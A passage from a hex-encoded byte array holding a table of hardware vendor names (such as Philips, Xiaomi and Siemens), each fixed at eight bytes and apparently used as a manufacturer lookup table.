0x73, 0x6f, 0x4b, 0x61, 0x67, 0x61,\r\n0x44, 0x61, 0x6c, 0x69, 0x57, 0x69, 0x72, 0x65,\r\n0x52, 0x73, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x72, 0x72, 0x63, 0x44, 0x61, 0x6c, 0x69,\r\n0x4d, 0x79, 0x77, 0x65, 0x72, 0x6b, 0x50, 0x6f,\r\n0x43, 0x68, 0x61, 0x6e, 0x65, 0x79, 0x49, 0x6e,\r\n0x47, 0x65, 0x6e, 0x6f, 0x72, 0x61, 0x79, 0x00,\r\n0x4d, 0x79, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x78, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x64, 0x72, 0x69,\r\n0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x74, 0x69, 0x61,\r\n0x4e, 0x6f, 0x4e, 0x64, 0x61, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x6f, 0x70, 0x70, 0x65, 0x72, 0x74,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x55, 0x72,\r\n0x57, 0x65, 0x6e, 0x7a, 0x68, 0x6f, 0x75, 0x4b,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x4f,\r\n0x4a, 0x73, 0x63, 0x5a, 0x61, 0x76, 0x6f, 0x64,\r\n0x48, 0x65, 0x6c, 0x6d, 0x68, 0x6f, 0x6c, 0x7a,\r\n0x53, 0x61, 0x65, 0x74, 0x49, 0x53, 0x53, 0x52,\r\n0x41, 0x64, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x73, 0x67, 0x53, 0x63, 0x69, 0x65, 0x6e,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x59,\r\n0x47, 0x68, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x73, 0x74, 0x72, 0x61, 0x00,\r\n0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x5a,\r\n0x48, 0x77, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x74, 0x68, 0x69,\r\n0x4b, 0x6f, 0x6e, 0x7a, 0x65, 0x53, 0x79, 0x73,\r\n0x46, 0x65, 0x72, 0x6d, 0x61, 0x78, 0x45, 0x6c,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x47, 0x6c,\r\n0x49, 0x74, 0x6c, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x67, 0x65, 0x6e, 0x44, 0x61,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x73, 0x61, 0x79,\r\n0x4d, 0x61, 0x67, 0x6e, 0x61, 0x63, 0x6f, 0x6d,\r\n0x4c, 0x61, 0x6e, 0x74, 0x69, 0x73, 0x00, 0x00,\r\n0x41, 0x64, 0x69, 0x74, 0x79, 0x61, 0x49, 0x6e,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x00, 0x00,\r\n0x50, 0x62, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x41, 0x70, 0x63, 0x42, 0x79, 0x53, 0x63, 0x68,\r\n0x43, 0x6f, 0x72, 0x73, 0x61, 0x54, 0x65, 0x63,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x62, 0x65,\r\n0x41, 0x75, 0x74, 0x6f, 0x6d, 0x6f, 0x74, 0x69,\r\n0x46, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x69, 0x72,\r\n0x45, 0x6e, 0x69, 0x67, 0x6d, 0x61, 0x44, 0x69,\r\n0x47, 0x65, 0x6e, 0x32, 0x77, 0x61, 0x76, 0x65,\r\n0x50, 0x72, 0x65, 0x63, 0x65, 0x6e, 0x6f, 0x54,\r\n0x43, 0x6f, 0x6f, 0x6c, 0x43, 0x6f, 0x6e, 0x74,\r\n0x43, 0x38, 0x4d, 0x65, 0x64, 0x69, 0x73, 0x65,\r\n0x4f, 0x70, 0x74, 0x69, 0x73, 0x65, 0x6e, 0x73,\r\n0x47, 0x65, 0x6e, 0x65, 0x73, 0x69, 0x73, 0x74,\r\n0x47, 0x72, 0x69, 0x64, 0x63, 0x65, 0x6e, 0x74,\r\n0x49, 0x6e, 0x74, 0x75, 0x6e, 0x65, 0x4e, 0x65,\r\n0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x6f,\r\n0x4f, 0x75, 0x74, 0x73, 0x6d, 0x61, 0x72, 0x74,\r\n0x4c, 0x69, 0x61, 0x6f, 0x6e, 0x69, 0x6e, 0x67,\r\n0x4c, 0x61, 0x79, 0x6f, 0x6e, 0x49, 0x6e, 0x74,\r\n0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x49, 0x6e,\r\n0x52, 0x6e, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00,\r\n0x4c, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x43,\r\n0x43, 0x61, 0x70, 0x65, 0x6c, 0x65, 0x63, 0x00,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x2d,\r\n0x4b, 0x65, 0x79, 0x73, 0x74, 0x6f, 0x6e, 0x65,\r\n0x58, 0x69, 0x61, 0x6f, 0x6d, 0x69, 0x45, 0x6c,\r\n0x53, 0x61, 0x6d, 0x6a, 0x69, 0x6e, 0x00, 0x00,\r\n0x53, 0x70, 0x69, 0x72, 0x65, 0x50, 0x61, 0x79,\r\n0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x00, 0x00,\r\n0x49, 0x67, 0x6e, 0x69, 0x74, 0x65, 0x6e, 0x65,\r\n0x46, 0x75, 0x6e, 0x73, 0x68, 0x69, 0x6f, 0x6e,\r\n0x52, 0x65, 0x61, 0x6c, 0x70, 0x6c, 0x61, 0x79,\r\n0x48, 0x65, 0x66, 0x65, 0x69, 0x54, 0x6f, 0x79,\r\n0x54, 0x6f, 0x75, 0x63, 0x68, 0x4e, 0x65, 0x74,\r\n0x43, 0x61, 0x73, 0x68, 0x67, 0x75, 0x61, 0x72,\r\n0x53, 0x74, 0x61, 0x67, 0x65, 0x54, 0x65, 0x63,\r\n0x53, 0x61, 0x6d, 0x68, 0x77, 0x61, 0x54, 0x65,\r\n0x53, 0x74, 0x65, 0x65, 0x6c, 0x73, 0x65, 0x72,\r\n0x44, 0x61, 0x6e, 0x66, 0x6f, 0x73, 0x73, 0x54,\r\n0x45, 0x6e, 0x62, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x47, 0x65, 0x72, 0x70, 0x53, 0x6f, 0x6c, 0x75,\r\n0x45, 0x74, 0x65, 0x6b, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x78, 0x6c, 0x61, 0x72, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x6c, 0x6c, 0x65, 0x72, 0x45, 0x6c,\r\n0x53, 0x65, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x63, 0x68, 0x50, 0x6f, 0x77, 0x65,\r\n0x53, 0x69, 0x72, 0x69, 0x75, 0x73, 0x58, 0x6d,\r\n0x58, 0x65, 0x6e, 0x79, 0x61, 0x44, 0x4f, 0x4f,\r\n0x47, 0x65, 0x6e, 0x6d, 0x61, 0x72, 0x6b, 0x41,\r\n0x4e, 0x65, 0x78, 0x74, 0x6e, 0x61, 0x76, 0x4c,\r\n0x52, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x6f, 0x75, 0x72, 0x63, 0x69, 0x6e, 0x67,\r\n0x45, 0x6d, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x59, 0x6f, 0x74, 0x61, 0x44, 0x65, 0x76, 0x69,\r\n0x41, 0x6c, 0x74, 0x69, 0x65, 0x72, 0x72, 0x65,\r\n0x44, 0x65, 0x6c, 0x6c, 0x6b, 0x69, 0x6e, 0x67,\r\n0x54, 0x61, 0x69, 0x6d, 0x61, 0x67, 0x00, 0x00,\r\n0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x63,\r\n0x45, 0x73, 0x70, 0x6f, 0x74, 0x65, 0x6c, 0x4f,\r\n0x49, 0x6e, 0x64, 0x69, 0x76, 0x69, 0x64, 0x75,\r\n0x45, 0x73, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x44,\r\n0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x72, 0x57,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x72, 0x00,\r\n0x59, 0x75, 0x64, 0x75, 0x61, 0x6e, 0x4d, 0x6f,\r\n0x42, 0x69, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x65,\r\n0x50, 0x69, 0x2d, 0x43, 0x6f, 0x72, 0x61, 0x6c,\r\n0x54, 0x6f, 0x6b, 0x68, 0x65, 0x69, 0x6d, 0x00,\r\n0x53, 0x69, 0x73, 0x53, 0x61, 0x74, 0x49, 0x6e,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x69, 0x6d,\r\n0x4a, 0x61, 0x67, 0x4a, 0x61, 0x6b, 0x6f, 0x62,\r\n0x46, 0x72, 0x6f, 0x6e, 0x74, 0x6c, 0x69, 0x6e,\r\n0x32, 0x63, 0x2d, 0x54, 0x72, 0x69, 0x66, 0x6f,\r\n0x41, 0x64, 0x64, 0x2d, 0x45, 0x6e, 0x67, 0x69,\r\n0x53, 0x79, 0x65, 0x73, 0x53, 0x72, 0x6c, 0x00,\r\n0x52, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x65, 0x6b,\r\n0x4c, 0x65, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x43, 0x6f, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x00,\r\n0x54, 0x69, 0x62, 0x69, 0x74, 0x43, 0x6f, 0x6d,\r\n0x43, 0x68, 0x61, 0x72, 0x74, 0x65, 0x72, 0x43,\r\n0x55, 0x6e, 0x6f, 0x77, 0x68, 0x79, 0x00, 0x00,\r\n0x45, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c,\r\n0x58, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x61, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x54,\r\n0x33, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x73,\r\n0x57, 0x69, 0x6e, 0x4c, 0x65, 0x61, 0x64, 0x65,\r\n0x44, 0x65, 0x76, 0x6c, 0x69, 0x6e, 0x65, 0x00,\r\n0x4f, 0x76, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x70, 0x74, 0x6f, 0x72, 0x45, 0x6e,\r\n0x43, 0x6f, 0x62, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x64, 0x6e, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x48, 0x75, 0x6e, 0x61, 0x6e, 0x54, 0x6f, 0x70,\r\n0x41, 0x65, 0x72, 0x6f, 0x64, 0x65, 0x76, 0x00,\r\n0x49, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x74, 0x72, 0x53, 0x72, 0x6c, 0x00, 0x00,\r\n0x42, 0x61, 0x62, 0x6f, 0x6c, 0x61, 0x74, 0x56,\r\n0x4f, 0x63, 0x75, 0x6c, 0x75, 0x73, 0x56, 0x72,\r\n0x42, 0x62, 0x6b, 0x45, 0x64, 0x75, 0x63, 0x61,\r\n0x42, 0x63, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x72, 0x63, 0x6f, 0x47, 0x65, 0x6e, 0x65,\r\n0x45, 0x6c, 0x6c, 0x69, 0x79, 0x50, 0x6f, 0x77,\r\n0x43, 0x61, 0x70, 0x69, 0x73, 0x63, 0x6f, 0x00,\r\n0x43, 0x79, 0x62, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x61, 0x67, 0x6f, 0x72, 0x45, 0x6c, 0x65,\r\n0x4e, 0x65, 0x74, 0x73, 0x74, 0x6f, 0x72, 0x54,\r\n0x41, 0x6c, 0x67, 0x65, 0x2d, 0x54, 0x69, 0x6d,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x49, 0x62, 0x6c,\r\n0x4c, 0x79, 0x74, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4d,\r\n0x47, 0x61, 0x69, 0x6e, 0x73, 0x70, 0x65, 0x65,\r\n0x50, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x65, 0x45,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x70, 0x65,\r\n0x50, 0x65, 0x72, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x46, 0x69, 0x6e, 0x65, 0x73, 0x74, 0x53, 0x65,\r\n0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x73,\r\n0x49, 0x6e, 0x74, 0x61, 0x6c, 0x74, 0x65, 0x63,\r\n0x52, 0x66, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x48, 0x69, 0x76, 0x65, 0x6d, 0x6f, 0x74, 0x69,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x6d, 0x61, 0x74,\r\n0x45, 0x61, 0x72, 0x64, 0x61, 0x54, 0x65, 0x63,\r\n0x4d, 0x69, 0x6c, 0x70, 0x65, 0x72, 0x00, 0x00,\r\n0x4f, 0x6f, 0x6f, 0x50, 0x65, 0x74, 0x72, 0x54,\r\n0x4f, 0x6e, 0x7a, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x4f,\r\n0x45, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6e,\r\n0x4b, 0x69, 0x73, 0x68, 0x75, 0x47, 0x69, 0x6b,\r\n0x43, 0x69, 0x6e, 0x63, 0x6f, 0x7a, 0x65, 0x00,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x69, 0x74, 0x42,\r\n0x49, 0x43, 0x59, 0x42, 0x56, 0x00, 0x00, 0x00,\r\n0x45, 0x6f, 0x6c, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x65,\r\n0x46, 0x6f, 0x72, 0x74, 0x69, 0x66, 0x79, 0x54,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x44, 0x72, 0x61,\r\n0x54, 0x72, 0x75, 0x65, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x6e, 0x65, 0x78, 0x74, 0x6f, 0x70,\r\n0x53, 0x6f, 0x6c, 0x69, 0x74, 0x6f, 0x6e, 0x54,\r\n0x50, 0x68, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x53,\r\n0x52, 0x65, 0x64, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x49, 0x61, 0x64, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x65, 0x63, 0x6f, 0x72, 0x00, 0x00,\r\n0x53, 0x75, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x65,\r\n0x41, 0x71, 0x61, 0x76, 0x69, 0x43, 0x6f, 0x6d,\r\n0x53, 0x61, 0x6e, 0x6a, 0x6f, 0x6c, 0x65, 0x00,\r\n0x54, 0x61, 0x69, 0x63, 0x61, 0x6e, 0x67, 0x54,\r\n0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x64, 0x65,\r\n0x41, 0x6c, 0x65, 0x72, 0x74, 0x4d, 0x65, 0x74,\r\n0x41, 0x6c, 0x70, 0x68, 0x65, 0x75, 0x73, 0x44,\r\n0x50, 0x65, 0x74, 0x72, 0x6f, 0x6c, 0x65, 0x75,\r\n0x45, 0x6d, 0x6b, 0x6f, 0x45, 0x6c, 0x65, 0x6b,\r\n0x53, 0x65, 0x65, 0x65, 0x64, 0x54, 0x65, 0x63,\r\n0x43, 0x74, 0x65, 0x6b, 0x53, 0x77, 0x65, 0x64,\r\n0x42, 0x6c, 0x75, 0x65, 0x43, 0x61, 0x6c, 0x79,\r\n0x4c, 0x61, 0x61, 0x4c, 0x6f, 0x63, 0x61, 0x6c,\r\n0x4a, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x75, 0x69, 0x6f, 0x54, 0x65, 0x6c, 0x65,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x4d, 0x6f, 0x62,\r\n0x50, 0x69, 0x63, 0x69, 0x6f, 0x72, 0x67, 0x72,\r\n0x55, 0x62, 0x69, 0x71, 0x75, 0x69, 0x74, 0x6f,\r\n0x50, 0x72, 0x6f, 0x6c, 0x6f, 0x6e, 0x00, 0x00,\r\n0x44, 0x65, 0x6f, 0x73, 0x43, 0x6f, 0x6e, 0x74,\r\n0x4d, 0x61, 0x6b, 0x6f, 0x4e, 0x65, 0x74, 0x77,\r\n0x4a, 0x64, 0x61, 0x4c, 0x6c, 0x63, 0x4a, 0x64,\r\n0x57, 0x2d, 0x49, 0x65, 0x2d, 0x4e, 0x65, 0x2d,\r\n0x48, 0x61, 0x6e, 0x69, 0x6c, 0x73, 0x74, 0x6d,\r\n0x42, 0x6f, 0x6f, 0x73, 0x74, 0x79, 0x00, 0x00,\r\n0x41, 0x76, 0x61, 0x69, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x47, 0x6c, 0x69, 0x6e, 0x74, 0x74, 0x54, 0x65,\r\n0x53, 0x6f, 0x6e, 0x61, 0x76, 0x6f, 0x78, 0x43,\r\n0x41, 0x6c, 0x74, 0x65, 0x63, 0x4c, 0x61, 0x6e,\r\n0x42, 0x75, 0x72, 0x67, 0x2d, 0x57, 0x63, 0x00,\r\n0x50, 0x6c, 0x61, 0x74, 0x68, 0x00, 0x00, 0x00,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x5a,\r\n0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x54,\r\n0x42, 0x79, 0x6b, 0x2d, 0x47, 0x61, 0x72, 0x64,\r\n0x54, 0x72, 0x65, 0x78, 0x4e, 0x65, 0x74, 0x77,\r\n0x49, 0x72, 0x6c, 0x61, 0x62, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x6e, 0x6f,\r\n0x42, 0x65, 0x69, 0x73, 0x73, 0x62, 0x61, 0x72,\r\n0x50, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x6d, 0x00,\r\n0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x43,\r\n0x52, 0x65, 0x61, 0x63, 0x68, 0x54, 0x65, 0x63,\r\n0x53, 0x6b, 0x79, 0x6d, 0x6f, 0x74, 0x69, 0x6f,\r\n0x56, 0x61, 0x6c, 0x69, 0x64, 0x75, 0x73, 0x54,\r\n0x49, 0x6e, 0x70, 0x65, 0x63, 0x6f, 0x53, 0x61,\r\n0x4d, 0x61, 0x69, 0x6b, 0x65, 0x49, 0x6e, 0x64,\r\n0x50, 0x61, 0x72, 0x74, 0x6f, 0x77, 0x54, 0x61,\r\n0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x47,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x77, 0x69, 0x72, 0x65,\r\n0x41, 0x6e, 0x6f, 0x76, 0x46, 0x72, 0x61, 0x6e,\r\n0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x41,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x4c, 0x61,\r\n0x44, 0x72, 0x6f, 0x70, 0x63, 0x61, 0x6d, 0x00,\r\n0x41, 0x72, 0x64, 0x6f, 0x6d, 0x75, 0x73, 0x4e,\r\n0x41, 0x72, 0x67, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x44, 0x65, 0x71, 0x69, 0x6e, 0x67, 0x44, 0x75,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x4d, 0x6f, 0x62,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x45, 0x6c, 0x65,\r\n0x41, 0x62, 0x62, 0x2d, 0x50, 0x6f, 0x77, 0x65,\r\n0x41, 0x69, 0x74, 0x65, 0x78, 0x69, 0x6e, 0x54,\r\n0x4d, 0x69, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x57, 0x69, 0x2d, 0x42, 0x69, 0x7a, 0x53, 0x72,\r\n0x4c, 0x6f, 0x67, 0x6f, 0x73, 0x6f, 0x6c, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x73, 0x61, 0x6c, 0x65,\r\n0x43, 0x65, 0x64, 0x61, 0x63, 0x53, 0x6f, 0x66,\r\n0x4c, 0x69, 0x6e, 0x63, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x6b, 0x79, 0x6c, 0x61, 0x62, 0x4d, 0x26,\r\n0x41, 0x6c, 0x73, 0x74, 0x6f, 0x6d, 0x53, 0x74,\r\n0x2b, 0x50, 0x6c, 0x75, 0x67, 0x67, 0x53, 0x72,\r\n0x45, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x63, 0x6f, 0x63, 0x65, 0x6e, 0x74, 0x72,\r\n0x53, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x44,\r\n0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x54, 0x65,\r\n0x54, 0x75, 0x6e, 0x61, 0x69, 0x43, 0x72, 0x65,\r\n0x4d, 0x61, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x63,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x62, 0x65, 0x72,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x73, 0x74, 0x6f,\r\n0x54, 0x6f, 0x70, 0x2d, 0x41, 0x63, 0x63, 0x65,\r\n0x4d, 0x69, 0x6f, 0x73, 0x45, 0x6c, 0x65, 0x74,\r\n0x4d, 0x6f, 0x64, 0x75, 0x65, 0x6c, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x65, 0x76, 0x69, 0x65, 0x77,\r\n0x4d, 0x65, 0x64, 0x69, 0x70, 0x6c, 0x61, 0x6e,\r\n0x47, 0x72, 0x61, 0x6e, 0x64, 0x62, 0x65, 0x69,\r\n0x4a, 0x65, 0x6e, 0x73, 0x65, 0x6e, 0x53, 0x63,\r\n0x43, 0x61, 0x72, 0x65, 0x70, 0x72, 0x65, 0x64,\r\n0x41, 0x74, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x4d, 0x63, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x41, 0x6e, 0x79, 0x77, 0x69, 0x72, 0x65, 0x00,\r\n0x49, 0x6e, 0x6c, 0x61, 0x62, 0x53, 0x6f, 0x66,\r\n0x4a, 0x69, 0x6e, 0x71, 0x69, 0x61, 0x6e, 0x6d,\r\n0x48, 0x69, 0x74, 0x65, 0x6d, 0x45, 0x6e, 0x67,\r\n0x41, 0x6d, 0x61, 0x7a, 0x69, 0x70, 0x6f, 0x69,\r\n0x45, 0x63, 0x68, 0x6f, 0x64, 0x79, 0x6e, 0x65,\r\n0x49, 0x6f, 0x2d, 0x50, 0x6f, 0x77, 0x65, 0x72,\r\n0x52, 0x26, 0x41, 0x6d, 0x70, 0x3b, 0x4d, 0x00,\r\n0x45, 0x6b, 0x69, 0x6e, 0x6f, 0x70, 0x73, 0x53,\r\n0x4a, 0x69, 0x64, 0x47, 0x6c, 0x6f, 0x62, 0x61,\r\n0x54, 0x61, 0x6b, 0x61, 0x6f, 0x6b, 0x61, 0x54,\r\n0x45, 0x76, 0x69, 0x48, 0x65, 0x61, 0x74, 0x00,\r\n0x47, 0x64, 0x4d, 0x69, 0x64, 0x65, 0x61, 0x41,\r\n0x43, 0x61, 0x72, 0x67, 0x74, 0x48, 0x6f, 0x6c,\r\n0x57, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x77, 0x6f, 0x72, 0x6b,\r\n0x50, 0x72, 0x61, 0x6d, 0x6f, 0x64, 0x54, 0x65,\r\n0x45, 0x63, 0x6f, 0x73, 0x65, 0x6e, 0x73, 0x65,\r\n0x57, 0x68, 0x69, 0x74, 0x65, 0x52, 0x6f, 0x64,\r\n0x45, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x69, 0x6f,\r\n0x4f, 0x2d, 0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6d,\r\n0x4e, 0x65, 0x78, 0x74, 0x77, 0x69, 0x6c, 0x6c,\r\n0x55, 0x6e, 0x69, 0x63, 0x61, 0x72, 0x64, 0x53,\r\n0x53, 0x73, 0x74, 0x54, 0x61, 0x69, 0x77, 0x61,\r\n0x4b, 0x69, 0x69, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x66, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x00,\r\n0x48, 0x65, 0x69, 0x6e, 0x7a, 0x4c, 0x61, 0x63,\r\n0x51, 0x75, 0x65, 0x63, 0x74, 0x65, 0x6c, 0x57,\r\n0x4c, 0x61, 0x76, 0x61, 0x49, 0x6e, 0x74, 0x65,\r\n0x56, 0x70, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x53, 0x74,\r\n0x5a, 0x62, 0x64, 0x44, 0x69, 0x73, 0x70, 0x6c,\r\n0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x00, 0x00,\r\n0x48, 0x65, 0x69, 0x6e, 0x7a, 0x6d, 0x61, 0x6e,\r\n0x45, 0x76, 0x65, 0x72, 0x76, 0x69, 0x63, 0x74,\r\n0x54, 0x65, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x73, 0x6f,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x69, 0x73,\r\n0x53, 0x68, 0x69, 0x6e, 0x65, 0x50, 0x72, 0x6f,\r\n0x54, 0x72, 0x65, 0x76, 0x69, 0x6c, 0x53, 0x72,\r\n0x46, 0x69, 0x73, 0x63, 0x68, 0x65, 0x72, 0x49,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x76, 0x69, 0x73,\r\n0x50, 0x6c, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x6c, 0x4d, 0x6f, 0x68, 0x61, 0x6e,\r\n0x53, 0x65, 0x2d, 0x4b, 0x75, 0x72, 0x65, 0x43,\r\n0x54, 0x65, 0x6d, 0x62, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x69, 0x61, 0x74, 0x65, 0x6c, 0x63,\r\n0x46, 0x6e, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x54,\r\n0x48, 0x61, 0x67, 0x6c, 0x65, 0x69, 0x74, 0x6e,\r\n0x45, 0x6e, 0x65, 0x63, 0x73, 0x79, 0x73, 0x00,\r\n0x45, 0x69, 0x64, 0x6f, 0x6c, 0x6f, 0x6e, 0x43,\r\n0x4c, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x4e, 0x65, 0x78, 0x70, 0x72, 0x69, 0x6e, 0x67,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x6b, 0x79, 0x54,\r\n0x50, 0x61, 0x72, 0x73, 0x65, 0x63, 0x50, 0x74,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x6d, 0x61, 0x78,\r\n0x52, 0x65, 0x6e, 0x61, 0x50, 0x72, 0x69, 0x6e,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x69, 0x73, 0x61,\r\n0x54, 0x72, 0x69, 0x62, 0x75, 0x74, 0x61, 0x72,\r\n0x57, 0x69, 0x62, 0x6f, 0x74, 0x69, 0x63, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x6b, 0x6f, 0x6e, 0x49,\r\n0x48, 0x61, 0x6e, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x4e, 0x74, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x57, 0x69, 0x7a, 0x6c, 0x61, 0x6e, 0x00, 0x00,\r\n0x41, 0x74, 0x65, 0x6b, 0x50, 0x72, 0x6f, 0x64,\r\n0x41, 0x6c, 0x63, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x73, 0x73, 0x74, 0x47, 0x6c, 0x6f, 0x62,\r\n0x46, 0x6f, 0x63, 0x74, 0x65, 0x6b, 0x50, 0x68,\r\n0x50, 0x69, 0x6c, 